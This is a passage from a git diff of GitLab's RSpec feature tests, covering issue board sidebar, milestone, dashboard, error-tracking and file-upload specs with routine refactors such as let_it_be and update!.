+ first('.suggest-colors-dropdown a').click
+ first('.js-add-list').click
+ click_button 'Create'
+ wait_for_requests
+
+ expect(page).to have_link 'test label'
+ end
+ expect(page).to have_selector('.board', count: 4)
+ end
+ end
+end
diff --git a/spec/features/boards/sidebar_milestones_spec.rb b/spec/features/boards/sidebar_milestones_spec.rb
new file mode 100644
index 00000000000..54182781a30
--- /dev/null
+++ b/spec/features/boards/sidebar_milestones_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Project issue boards sidebar milestones', :js do
+ include BoardHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
+ let_it_be(:issue1) { create(:issue, project: project, relative_position: 1) }
+ let_it_be(:issue2) { create(:issue, project: project, milestone: milestone, relative_position: 2) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:list) { create(:list, board: board, position: 0) }
+
+ let(:card1) { find('.board:nth-child(1) .board-card:nth-of-type(1)') }
+ let(:card2) { find('.board:nth-child(1) .board-card:nth-of-type(2)') }
+
+ before do
+ project.add_maintainer(user)
+
+ sign_in(user)
+
+ visit project_board_path(project, board)
+ wait_for_requests
+ end
+
+ context 'milestone' do
+ it 'adds a milestone' do
+ click_card(card1)
+
+ page.within('[data-testid="sidebar-milestones"]') do
+ click_button 'Edit'
+
+ wait_for_requests
+
+ click_button milestone.title
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).to have_content(milestone.title)
+ end
+ end
+ end
+
+ it 'removes a milestone' do
+ click_card(card2)
+
+ page.within('[data-testid="sidebar-milestones"]') do
+ click_button 'Edit'
+
+ wait_for_requests
+
+ click_button "No milestone"
+
+ wait_for_requests
+
+ page.within('.value') do
+ expect(page).not_to have_content(milestone.title)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/features/boards/sidebar_spec.rb b/spec/features/boards/sidebar_spec.rb
index c79bf2abff1..977147c3c6b 100644
--- a/spec/features/boards/sidebar_spec.rb
+++ b/spec/features/boards/sidebar_spec.rb
@@ -2,412 +2,33 @@
require 'spec_helper'
-RSpec.describe 'Issue Boards', :js do
+RSpec.describe 'Project issue boards sidebar', :js do
include BoardHelpers
- include FilteredSearchHelpers
- let(:user) { create(:user) }
- let(:user2) { create(:user) }
- let(:project) { create(:project, :public) }
- let!(:milestone) { create(:milestone, project: project) }
- let!(:development) { create(:label, project: project, name: 'Development') }
- let!(:bug) { create(:label, project: project, name: 'Bug') }
- let!(:regression) { create(:label, project: project, name: 'Regression') }
- let!(:stretch) { create(:label, project: project, name: 'Stretch') }
- let!(:issue1) { create(:labeled_issue, project: project, assignees: [user], milestone: milestone, labels: [development], relative_position: 2) }
- let!(:issue2) { create(:labeled_issue, project: project, labels: [development, stretch], relative_position: 1) }
- let(:board) { create(:board, project: project) }
- let!(:list) { create(:list, board: board, label: development, position: 0) }
- let(:card) { find('.board:nth-child(2)').first('.board-card') }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:list) { create(:list, board: board, position: 0) }
- let(:application_settings) { {} }
-
- around do |example|
- freeze_time { example.run }
- end
+ let_it_be(:issue, reload: true) { create(:issue, project: project, relative_position: 1) }
before do
project.add_maintainer(user)
sign_in(user)
- stub_application_setting(application_settings)
-
visit project_board_path(project, board)
- wait_for_requests
- end
-
- it 'shows sidebar when clicking issue' do
- click_card(card)
-
- expect(page).to have_selector('.issue-boards-sidebar')
- end
-
- it 'closes sidebar when clicking issue' do
- click_card(card)
-
- expect(page).to have_selector('.issue-boards-sidebar')
-
- click_card(card)
-
- expect(page).not_to have_selector('.issue-boards-sidebar')
- end
-
- it 'closes sidebar when clicking close button' do
- click_card(card)
-
- expect(page).to have_selector('.issue-boards-sidebar')
-
- find('.gutter-toggle').click
-
- expect(page).not_to have_selector('.issue-boards-sidebar')
- end
-
- it 'shows issue details when sidebar is open' do
- click_card(card)
-
- page.within('.issue-boards-sidebar') do
- expect(page).to have_content(issue2.title)
- expect(page).to have_content(issue2.to_reference)
- end
- end
-
- context 'assignee' do
- it 'updates the issues assignee' do
- click_card(card)
-
- page.within('.assignee') do
- click_button('Edit')
-
- wait_for_requests
-
- assignee = first('.gl-avatar-labeled').find('.gl-avatar-labeled-label').text
-
- page.within('.dropdown-menu-user') do
- first('.gl-avatar-labeled').click
- end
-
- click_button('Edit')
- wait_for_requests
-
- expect(page).to have_content(assignee)
- end
-
- expect(card).to have_selector('.avatar')
- end
-
- it 'removes the assignee' do
- card_two = find('.board:nth-child(2)').find('.board-card:nth-child(2)')
- click_card(card_two)
-
- page.within('.assignee') do
- click_button('Edit')
-
- wait_for_requests
-
- page.within('.dropdown-menu-user') do
- find('[data-testid="unassign"]').click
- end
-
- click_button('Edit')
- wait_for_requests
-
- expect(page).to have_content('None')
- end
-
- expect(card_two).not_to have_selector('.avatar')
- end
-
- it 'assignees to current user' do
- click_card(card)
-
- page.within(find('.assignee')) do
- expect(page).to have_content('None')
-
- click_button 'assign yourself'
-
- wait_for_requests
-
- expect(page).to have_content(user.name)
- end
-
- expect(card).to have_selector('.avatar')
- end
-
- it 'updates assignee dropdown' do
- click_card(card)
-
- page.within('.assignee') do
- click_button('Edit')
-
- wait_for_requests
-
- assignee = first('.gl-avatar-labeled').find('.gl-avatar-labeled-label').text
-
- page.within('.dropdown-menu-user') do
- first('.gl-avatar-labeled').click
- end
-
- click_button('Edit')
- wait_for_requests
-
- expect(page).to have_content(assignee)
- end
-
- page.within(find('.board:nth-child(2)')) do
- find('.board-card:nth-child(2)').click
- end
-
- page.within('.assignee') do
- click_button('Edit')
-
- expect(find('.dropdown-menu')).to have_selector('.gl-new-dropdown-item-check-icon')
- end
- end
- end
-
- context 'milestone' do
- it 'adds a milestone' do
- click_card(card)
-
- page.within('.milestone') do
- click_link 'Edit'
-
- wait_for_requests
-
- click_link milestone.title
-
- wait_for_requests
-
- page.within('.value') do
- expect(page).to have_content(milestone.title)
- end
- end
- end
-
- it 'removes a milestone' do
- click_card(card)
- page.within('.milestone') do
- click_link 'Edit'
-
- wait_for_requests
-
- click_link "No milestone"
-
- wait_for_requests
-
- page.within('.value') do
- expect(page).not_to have_content(milestone.title)
- end
- end
- end
- end
-
- context 'time tracking' do
- let(:compare_meter_tooltip) { find('.time-tracking .time-tracking-content .compare-meter')['title'] }
-
- before do
- issue2.timelogs.create(time_spent: 14400, user: user)
- issue2.update!(time_estimate: 128800)
-
- click_card(card)
- end
-
- it 'shows time tracking progress bar' do
- expect(compare_meter_tooltip).to eq('Time remaining: 3d 7h 46m')
- end
-
- context 'when time_tracking_limit_to_hours is true' do
- let(:application_settings) { { time_tracking_limit_to_hours: true } }
-
- it 'shows time tracking progress bar' do
- expect(compare_meter_tooltip).to eq('Time remaining: 31h 46m')
- end
- end
- end
-
- context 'due date' do
- it 'updates due date' do
- click_card(card)
-
- page.within('.due_date') do
- click_link 'Edit'
-
- click_button Date.today.day
-
- wait_for_requests
-
- expect(page).to have_content(Date.today.to_s(:medium))
- end
- end
+ wait_for_requests
end
- context 'labels' do
- it 'shows current labels when editing' do
- click_card(card)
-
- page.within('.labels') do
- click_link 'Edit'
-
- wait_for_requests
-
- page.within('.value') do
- expect(page).to have_selector('.gl-label-text', count: 2)
- expect(page).to have_content(development.title)
- expect(page).to have_content(stretch.title)
- end
- end
- end
-
- it 'adds a single label' do
- click_card(card)
-
- page.within('.labels') do
- click_link 'Edit'
-
- wait_for_requests
-
- click_link bug.title
-
- wait_for_requests
-
- find('.dropdown-menu-close-icon').click
-
- page.within('.value') do
- expect(page).to have_selector('.gl-label-text', count: 3)
- expect(page).to have_content(bug.title)
- end
- end
-
- # 'Development' label does not show since the card is in a 'Development' list label
- expect(card).to have_selector('.gl-label', count: 2)
- expect(card).to have_content(bug.title)
- end
-
- it 'adds a multiple labels' do
- click_card(card)
+ it_behaves_like 'issue boards sidebar'
- page.within('.labels') do
- click_link 'Edit'
-
- wait_for_requests
-
- click_link bug.title
-
- wait_for_requests
-
- click_link regression.title
-
- wait_for_requests
-
- find('.dropdown-menu-close-icon').click
-
- page.within('.value') do
- expect(page).to have_selector('.gl-label-text', count: 4)
- expect(page).to have_content(bug.title)
- expect(page).to have_content(regression.title)
- end
- end
-
- # 'Development' label does not show since the card is in a 'Development' list label
- expect(card).to have_selector('.gl-label', count: 3)
- expect(card).to have_content(bug.title)
- expect(card).to have_content(regression.title)
- end
-
- it 'removes a label' do
- click_card(card)
-
- page.within('.labels') do
- click_link 'Edit'
-
- wait_for_requests
-
- within('.dropdown-menu-labels') do
- click_link stretch.title
- end
-
- wait_for_requests
-
- find('.dropdown-menu-close-icon').click
-
- page.within('.value') do
- expect(page).to have_selector('.gl-label-text', count: 1)
- expect(page).not_to have_content(stretch.title)
- end
- end
-
- # 'Development' label does not show since the card is in a 'Development' list label
- expect(card).to have_selector('.gl-label-text', count: 0)
- expect(card).not_to have_content(stretch.title)
- end
-
- it 'creates project label' do
- click_card(card)
-
- page.within('.labels') do
- click_link 'Edit'
- wait_for_requests
-
- click_link 'Create project label'
- fill_in 'new_label_name', with: 'test label'
- first('.suggest-colors-dropdown a').click
- click_button 'Create'
- wait_for_requests
-
- expect(page).to have_link 'test label'
- end
- expect(page).to have_selector('.board', count: 3)
- end
-
- it 'creates project label and list' do
- click_card(card)
-
- page.within('.labels') do
- click_link 'Edit'
- wait_for_requests
-
- click_link 'Create project label'
- fill_in 'new_label_name', with: 'test label'
- first('.suggest-colors-dropdown a').click
- first('.js-add-list').click
- click_button 'Create'
- wait_for_requests
-
- expect(page).to have_link 'test label'
- end
- expect(page).to have_selector('.board', count: 4)
- end
+ def first_card
+ find('.board:nth-child(1)').first("[data-testid='board_card']")
end
- context 'subscription' do
- it 'changes issue subscription' do
- click_card(card)
- wait_for_requests
-
- page.within('.subscriptions') do
- find('[data-testid="subscription-toggle"] button:not(.is-checked)').click
- wait_for_requests
-
- expect(page).to have_css('[data-testid="subscription-toggle"] button.is-checked')
- end
- end
-
- it 'has checked subscription toggle when already subscribed' do
- create(:subscription, user: user, project: project, subscribable: issue2, subscribed: true)
- visit project_board_path(project, board)
- wait_for_requests
-
- click_card(card)
- wait_for_requests
-
- page.within('.subscriptions') do
- find('[data-testid="subscription-toggle"] button.is-checked').click
- wait_for_requests
-
- expect(page).to have_css('[data-testid="subscription-toggle"] button:not(.is-checked)')
- end
- end
+ def click_first_issue_card
+ click_card(first_card)
end
end
diff --git a/spec/features/boards/sub_group_project_spec.rb b/spec/features/boards/sub_group_project_spec.rb
index cd3d61726f6..bde5f061a67 100644
--- a/spec/features/boards/sub_group_project_spec.rb
+++ b/spec/features/boards/sub_group_project_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe 'Sub-group project issue boards', :js do
wait_for_requests
end
- it 'creates new label from sidebar' do
+ # TODO https://gitlab.com/gitlab-org/gitlab/-/issues/324290
+ xit 'creates new label from sidebar' do
find('.board-card').click
page.within '.labels' do
diff --git a/spec/features/boards/user_adds_lists_to_board_spec.rb b/spec/features/boards/user_adds_lists_to_board_spec.rb
index b9945207bb2..5128fc4004e 100644
--- a/spec/features/boards/user_adds_lists_to_board_spec.rb
+++ b/spec/features/boards/user_adds_lists_to_board_spec.rb
@@ -71,10 +71,13 @@ RSpec.describe 'User adds lists', :js do
def select_label(board_new_list_enabled, label)
if board_new_list_enabled
- page.within('.board-add-new-list') do
- find('label', text: label.title).click
- click_button 'Add'
- end
+ click_button 'Select a label'
+
+ find('label', text: label.title).click
+
+ click_button 'Add to board'
+
+ wait_for_all_requests
else
page.within('.dropdown-menu-issues-board-new') do
click_link label.title
diff --git a/spec/features/calendar_spec.rb b/spec/features/calendar_spec.rb
index ee156bdcab4..0b73226268d 100644
--- a/spec/features/calendar_spec.rb
+++ b/spec/features/calendar_spec.rb
@@ -42,7 +42,7 @@ RSpec.describe 'Contributions Calendar', :js do
"#{contributions} #{'contribution'.pluralize(contributions)}"
end
- "#{get_cell_color_selector(contributions)}[title='#{contribution_text}<br />#{date}']"
+ "#{get_cell_color_selector(contributions)}[title='#{contribution_text}<br /><span class=\"gl-text-gray-300\">#{date}</span>']"
end
def push_code_contribution
@@ -64,7 +64,7 @@ RSpec.describe 'Contributions Calendar', :js do
author_id: user.id
}
- Event.create(note_comment_params)
+ Event.create!(note_comment_params)
end
def selected_day_activities(visible: true)
diff --git a/spec/features/callouts/service_templates_deprecation_spec.rb b/spec/features/callouts/service_templates_deprecation_spec.rb
new file mode 100644
index 00000000000..b6403b54e29
--- /dev/null
+++ b/spec/features/callouts/service_templates_deprecation_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Service templates deprecation callout' do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:non_admin) { create(:user) }
+ let_it_be(:callout_content) { 'Service templates are deprecated and will be removed in GitLab 14.0.' }
+
+ context 'when a non-admin is logged in' do
+ before do
+ sign_in(non_admin)
+ visit root_dashboard_path
+ end
+
+ it 'does not display callout' do
+ expect(page).not_to have_content callout_content
+ end
+ end
+
+ context 'when an admin is logged in' do
+ before do
+ sign_in(admin)
+ gitlab_enable_admin_mode_sign_in(admin)
+
+ visit root_dashboard_path
+ end
+
+ context 'with no active service templates' do
+ it 'does not display callout' do
+ expect(page).not_to have_content callout_content
+ end
+ end
+
+ context 'with active service template' do
+ before do
+ create(:service, :template, type: 'MattermostService', active: true)
+ visit root_dashboard_path
+ end
+
+ it 'displays callout' do
+ expect(page).to have_content callout_content
+ expect(page).to have_link 'See affected service templates', href: admin_application_settings_services_path
+ end
+
+ context 'when callout is dismissed', :js do
+ before do
+ find('[data-testid="close-service-templates-deprecated-callout"]').click
+
+ visit root_dashboard_path
+ end
+
+ it 'does not display callout' do
+ expect(page).not_to have_content callout_content
+ end
+ end
+ end
+ end
+end
diff --git a/spec/features/clusters/cluster_detail_page_spec.rb b/spec/features/clusters/cluster_detail_page_spec.rb
index 6fe6c099d80..84a18a45d35 100644
--- a/spec/features/clusters/cluster_detail_page_spec.rb
+++ b/spec/features/clusters/cluster_detail_page_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Clusterable > Show page' do
it 'allow the user to set domain', :js do
visit cluster_path
- within '.js-cluster-integration-form' do
+ within '.js-cluster-details-form' do
fill_in('cluster_base_domain', with: 'test.com')
click_on 'Save changes'
end
@@ -39,7 +39,7 @@ RSpec.describe 'Clusterable > Show page' do
end
it 'shows help text with the domain as an alternative to custom domain', :js do
- within '.js-cluster-integration-form' do
+ within '.js-cluster-details-form' do
expect(find(cluster_ingress_help_text_selector).text).to include('192.168.1.100')
end
end
@@ -49,7 +49,7 @@ RSpec.describe 'Clusterable > Show page' do
it 'alternative to custom domain is not shown' do
visit cluster_path
- within '.js-cluster-integration-form' do
+ within '.js-cluster-details-form' do
expect(page).not_to have_selector(cluster_ingress_help_text_selector)
end
end
diff --git a/spec/features/clusters/cluster_health_dashboard_spec.rb b/spec/features/clusters/cluster_health_dashboard_spec.rb
index e9e3b48e9c0..862f34768c4 100644
--- a/spec/features/clusters/cluster_health_dashboard_spec.rb
+++ b/spec/features/clusters/cluster_health_dashboard_spec.rb
@@ -33,7 +33,7 @@ RSpec.describe 'Cluster Health board', :js, :kubeclient, :use_clean_rails_memory
click_link 'Health'
- expect(page).to have_text('you must first install Prometheus in the Applications tab')
+ expect(page).to have_text('you must first enable Prometheus in the Integrations tab')
end
end
diff --git a/spec/features/commits_spec.rb b/spec/features/commits_spec.rb
index 1622979812d..2dafaedd262 100644
--- a/spec/features/commits_spec.rb
+++ b/spec/features/commits_spec.rb
@@ -140,7 +140,7 @@ RSpec.describe 'Commits' do
context 'when accessing internal project with disallowed access', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/299575' do
before do
- project.update(
+ project.update!(
visibility_level: Gitlab::VisibilityLevel::INTERNAL,
public_builds: false)
create(:ci_job_artifact, :archive, file: artifacts_file, job: build)
diff --git a/spec/features/dashboard/active_tab_spec.rb b/spec/features/dashboard/active_tab_spec.rb
index ee85c136190..3a532cb4161 100644
--- a/spec/features/dashboard/active_tab_spec.rb
+++ b/spec/features/dashboard/active_tab_spec.rb
@@ -4,6 +4,8 @@ require 'spec_helper'
RSpec.describe 'Dashboard Active Tab', :js do
before do
+ stub_feature_flags(combined_menu: false)
+
sign_in(create(:user))
end
diff --git a/spec/features/dashboard/datetime_on_tooltips_spec.rb b/spec/features/dashboard/datetime_on_tooltips_spec.rb
index c14a6001a3e..442b8904974 100644
--- a/spec/features/dashboard/datetime_on_tooltips_spec.rb
+++ b/spec/features/dashboard/datetime_on_tooltips_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'Tooltips on .timeago dates', :js do
context 'on the activity tab' do
before do
- Event.create( project: project, author_id: user.id, action: :joined,
+ Event.create!( project: project, author_id: user.id, action: :joined,
updated_at: created_date, created_at: created_date)
sign_in user
diff --git a/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb b/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
index c2a3b90b6f4..179d9d09905 100644
--- a/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
+++ b/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe 'The group dashboard' do
let(:user) { create(:user) }
before do
+ stub_feature_flags(combined_menu: false)
+
sign_in user
end
diff --git a/spec/features/dashboard/issuables_counter_spec.rb b/spec/features/dashboard/issuables_counter_spec.rb
index 3cb7140d253..d4c6b6faa79 100644
--- a/spec/features/dashboard/issuables_counter_spec.rb
+++ b/spec/features/dashboard/issuables_counter_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Navigation bar counter', :use_clean_rails_memory_store_caching d
before do
issue.assignees = [user]
- merge_request.update(assignees: [user])
+ merge_request.update!(assignees: [user])
sign_in(user)
end
@@ -35,7 +35,7 @@ RSpec.describe 'Navigation bar counter', :use_clean_rails_memory_store_caching d
expect_counters('merge_requests', '1')
- merge_request.update(assignees: [])
+ merge_request.update!(assignees: [])
user.invalidate_cache_counts
diff --git a/spec/features/dashboard/milestones_spec.rb b/spec/features/dashboard/milestones_spec.rb
index 308432b7a1b..992ed2f2ce6 100644
--- a/spec/features/dashboard/milestones_spec.rb
+++ b/spec/features/dashboard/milestones_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe 'Dashboard > Milestones' do
expect(current_path).to eq dashboard_milestones_path
expect(page).to have_content(milestone.title)
expect(page).to have_content(group.name)
- expect(first('.milestone')).to have_content('Merge Requests')
+ expect(first('.milestone')).to have_content('Merge requests')
end
describe 'new milestones dropdown', :js do
diff --git a/spec/features/dashboard/project_member_activity_index_spec.rb b/spec/features/dashboard/project_member_activity_index_spec.rb
index 6e6e466294f..c26a1a0b486 100644
--- a/spec/features/dashboard/project_member_activity_index_spec.rb
+++ b/spec/features/dashboard/project_member_activity_index_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe 'Project member activity', :js do
end
def visit_activities_and_wait_with_event(event_type)
- Event.create(project: project, author_id: user.id, action: event_type)
+ Event.create!(project: project, author_id: user.id, action: event_type)
visit activity_project_path(project)
wait_for_requests
end
diff --git a/spec/features/dashboard/projects_spec.rb b/spec/features/dashboard/projects_spec.rb
index d7330b5267b..20c753b1cdb 100644
--- a/spec/features/dashboard/projects_spec.rb
+++ b/spec/features/dashboard/projects_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe 'Dashboard Projects' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository, name: 'awesome stuff') }
- let(:project2) { create(:project, :public, name: 'Community project') }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
+ let_it_be(:project2) { create(:project, :public) }
before do
project.add_developer(user)
@@ -18,17 +18,10 @@ RSpec.describe 'Dashboard Projects' do
end
end
- it 'shows the project the user in a member of in the list' do
- visit dashboard_projects_path
- expect(page).to have_content('awesome stuff')
- end
-
- it 'shows "New project" button' do
+ it 'shows the customize banner', :js do
visit dashboard_projects_path
- page.within '#content-body' do
- expect(page).to have_link('New project')
- end
+ expect(page).to have_content('Do you want to customize this page?')
end
context 'when user has access to the project' do
@@ -48,7 +41,7 @@ RSpec.describe 'Dashboard Projects' do
expect(page).to have_content('Developer')
end
- project.members.last.update(access_level: 40)
+ project.members.last.update!(access_level: 40)
visit dashboard_projects_path
@@ -153,7 +146,7 @@ RSpec.describe 'Dashboard Projects' do
end
describe 'with a pipeline', :clean_gitlab_redis_shared_state do
- let(:pipeline) { create(:ci_pipeline, project: project, sha: project.commit.sha, ref: project.default_branch) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, sha: project.commit.sha, ref: project.default_branch) }
before do
# Since the cache isn't updated when a new pipeline is created
@@ -190,7 +183,7 @@ RSpec.describe 'Dashboard Projects' do
let(:guest_user) { create(:user) }
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
project.add_guest(guest_user)
sign_in(guest_user)
end
diff --git a/spec/features/dashboard/shortcuts_spec.rb b/spec/features/dashboard/shortcuts_spec.rb
index b2fda28f0ec..e96a60b2ab2 100644
--- a/spec/features/dashboard/shortcuts_spec.rb
+++ b/spec/features/dashboard/shortcuts_spec.rb
@@ -3,6 +3,10 @@
require 'spec_helper'
RSpec.describe 'Dashboard shortcuts', :js do
+ before do
+ stub_feature_flags(combined_menu: false)
+ end
+
context 'logged in' do
let(:user) { create(:user) }
let(:project) { create(:project) }
@@ -20,7 +24,7 @@ RSpec.describe 'Dashboard shortcuts', :js do
find('body').send_keys([:shift, 'M'])
- check_page_title('Merge Requests')
+ check_page_title('Merge requests')
find('body').send_keys([:shift, 'T'])
diff --git a/spec/features/discussion_comments/merge_request_spec.rb b/spec/features/discussion_comments/merge_request_spec.rb
index f60d7da6a30..a90ff3721d3 100644
--- a/spec/features/discussion_comments/merge_request_spec.rb
+++ b/spec/features/discussion_comments/merge_request_spec.rb
@@ -8,8 +8,6 @@ RSpec.describe 'Thread Comments Merge Request', :js do
let(:merge_request) { create(:merge_request, source_project: project) }
before do
- stub_feature_flags(remove_resolve_note: false)
-
project.add_maintainer(user)
sign_in(user)
diff --git a/spec/features/error_pages_spec.rb b/spec/features/error_pages_spec.rb
index 77f8aa87237..8dc9e5ade46 100644
--- a/spec/features/error_pages_spec.rb
+++ b/spec/features/error_pages_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Error Pages' do
+RSpec.describe 'Error Pages', :js do
let(:user) { create(:user) }
let(:project) { create(:project, :public) }
@@ -14,7 +14,12 @@ RSpec.describe 'Error Pages' do
it 'shows nav links' do
expect(page).to have_link("Home", href: root_path)
expect(page).to have_link("Help", href: help_path)
- expect(page).to have_link(nil, href: destroy_user_session_path)
+ end
+
+ it 'allows user to sign out' do
+ click_link 'Sign out and sign in with a different account'
+
+ expect(page).to have_current_path(new_user_session_path)
end
end
diff --git a/spec/features/error_tracking/user_filters_errors_by_status_spec.rb b/spec/features/error_tracking/user_filters_errors_by_status_spec.rb
index a0d93b791d9..6846d8f6ade 100644
--- a/spec/features/error_tracking/user_filters_errors_by_status_spec.rb
+++ b/spec/features/error_tracking/user_filters_errors_by_status_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'When a user filters Sentry errors by status', :js, :use_clean_ra
let_it_be(:issues_response_body) { fixture_file('sentry/issues_sample_response.json') }
let_it_be(:filtered_errors_by_status_response) { Gitlab::Json.parse(issues_response_body).filter { |error| error['status'] == 'ignored' }.to_json }
+
let(:issues_api_url) { "#{sentry_api_urls.issues_url}?limit=20&query=is:unresolved" }
let(:issues_api_url_filter) { "#{sentry_api_urls.issues_url}?limit=20&query=is:ignored" }
let(:auth_token) {{ 'Authorization' => 'Bearer access_token_123' }}
diff --git a/spec/features/error_tracking/user_searches_sentry_errors_spec.rb b/spec/features/error_tracking/user_searches_sentry_errors_spec.rb
index 025a6261957..c16c9d3fb1f 100644
--- a/spec/features/error_tracking/user_searches_sentry_errors_spec.rb
+++ b/spec/features/error_tracking/user_searches_sentry_errors_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'When a user searches for Sentry errors', :js, :use_clean_rails_m
let_it_be(:issues_response_body) { fixture_file('sentry/issues_sample_response.json') }
let_it_be(:error_search_response_body) { fixture_file('sentry/error_list_search_response.json') }
+
let(:issues_api_url) { "#{sentry_api_urls.issues_url}?limit=20&query=is:unresolved" }
let(:issues_api_url_search) { "#{sentry_api_urls.issues_url}?limit=20&query=is:unresolved%20NotFound" }
diff --git a/spec/features/error_tracking/user_sees_error_index_spec.rb b/spec/features/error_tracking/user_sees_error_index_spec.rb
index a4b15432ef3..bc6709c659d 100644
--- a/spec/features/error_tracking/user_sees_error_index_spec.rb
+++ b/spec/features/error_tracking/user_sees_error_index_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'View error index page', :js, :use_clean_rails_memory_store_cachi
let_it_be(:issues_response_body) { fixture_file('sentry/issues_sample_response.json') }
let_it_be(:issues_response) { Gitlab::Json.parse(issues_response_body) }
+
let(:issues_api_url) { "#{sentry_api_urls.issues_url}?limit=20&query=is:unresolved" }
before do
@@ -41,7 +42,7 @@ RSpec.describe 'View error index page', :js, :use_clean_rails_memory_store_cachi
context 'with error tracking settings disabled' do
before do
- project_error_tracking_settings.update(enabled: false)
+ project_error_tracking_settings.update!(enabled: false)
sign_in(project.owner)
visit project_error_tracking_index_path(project)
diff --git a/spec/features/file_uploads/attachment_spec.rb b/spec/features/file_uploads/attachment_spec.rb
new file mode 100644
index 00000000000..9ad404ce869
--- /dev/null
+++ b/spec/features/file_uploads/attachment_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload an attachment', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { project.owner }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
+ let(:api_path) { "/projects/#{project_id}/uploads" }
+ let(:url) { capybara_url(api(api_path)) }
+ let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ subject do
+ HTTParty.post(
+ url,
+ headers: { 'PRIVATE-TOKEN' => personal_access_token.token },
+ body: { file: file }
+ )
+ end
+
+ shared_examples 'for an attachment' do
+ it 'creates files' do
+ expect { subject }
+ .to change { Upload.count }.by(1)
+ end
+
+ it { expect(subject.code).to eq(201) }
+ end
+
+ context 'with an integer project ID' do
+ let(:project_id) { project.id }
+
+ it_behaves_like 'handling file uploads', 'for an attachment'
+ end
+
+ context 'with an encoded project ID' do
+ let(:project_id) { "#{project.namespace.path}%2F#{project.path}" }
+
+ it_behaves_like 'handling file uploads', 'for an attachment'
+ end
+end
diff --git a/spec/features/file_uploads/maven_package_spec.rb b/spec/features/file_uploads/maven_package_spec.rb
index e87eec58618..ab9f023bd8f 100644
--- a/spec/features/file_uploads/maven_package_spec.rb
+++ b/spec/features/file_uploads/maven_package_spec.rb
@@ -6,16 +6,17 @@ RSpec.describe 'Upload a maven package', :api, :js do
include_context 'file upload requests helpers'
let_it_be(:project) { create(:project) }
- let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:user) { project.owner }
let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
- let(:api_path) { "/projects/#{project.id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar" }
+ let(:project_id) { project.id }
+ let(:api_path) { "/projects/#{project_id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar" }
let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
subject { HTTParty.put(url, body: file.read) }
- RSpec.shared_examples 'for a maven package' do
+ shared_examples 'for a maven package' do
it 'creates package files' do
expect { subject }
.to change { Packages::Package.maven.count }.by(1)
@@ -25,9 +26,9 @@ RSpec.describe 'Upload a maven package', :api, :js do
it { expect(subject.code).to eq(200) }
end
- RSpec.shared_examples 'for a maven sha1' do
+ shared_examples 'for a maven sha1' do
let(:dummy_package) { double(Packages::Package) }
- let(:api_path) { "/projects/#{project.id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar.sha1" }
+ let(:api_path) { "/projects/#{project_id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar.sha1" }
before do
# The sha verification done by the maven api is between:
@@ -42,8 +43,8 @@ RSpec.describe 'Upload a maven package', :api, :js do
it { expect(subject.code).to eq(204) }
end
- RSpec.shared_examples 'for a maven md5' do
- let(:api_path) { "/projects/#{project.id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar.md5" }
+ shared_examples 'for a maven md5' do
+ let(:api_path) { "/projects/#{project_id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar.md5" }
let(:file) { StringIO.new('dummy_package') }
it { expect(subject.code).to eq(200) }
@@ -52,4 +53,10 @@ RSpec.describe 'Upload a maven package', :api, :js do
it_behaves_like 'handling file uploads', 'for a maven package'
it_behaves_like 'handling file uploads', 'for a maven sha1'
it_behaves_like 'handling file uploads', 'for a maven md5'
+
+ context 'with an encoded project ID' do
+ let(:project_id) { "#{project.namespace.path}%2F#{project.path}" }
+
+ it_behaves_like 'handling file uploads', 'for a maven package'
+ end
end
diff --git a/spec/features/file_uploads/nuget_package_spec.rb b/spec/features/file_uploads/nuget_package_spec.rb
index 6e05e5d1a6e..871c0274445 100644
--- a/spec/features/file_uploads/nuget_package_spec.rb
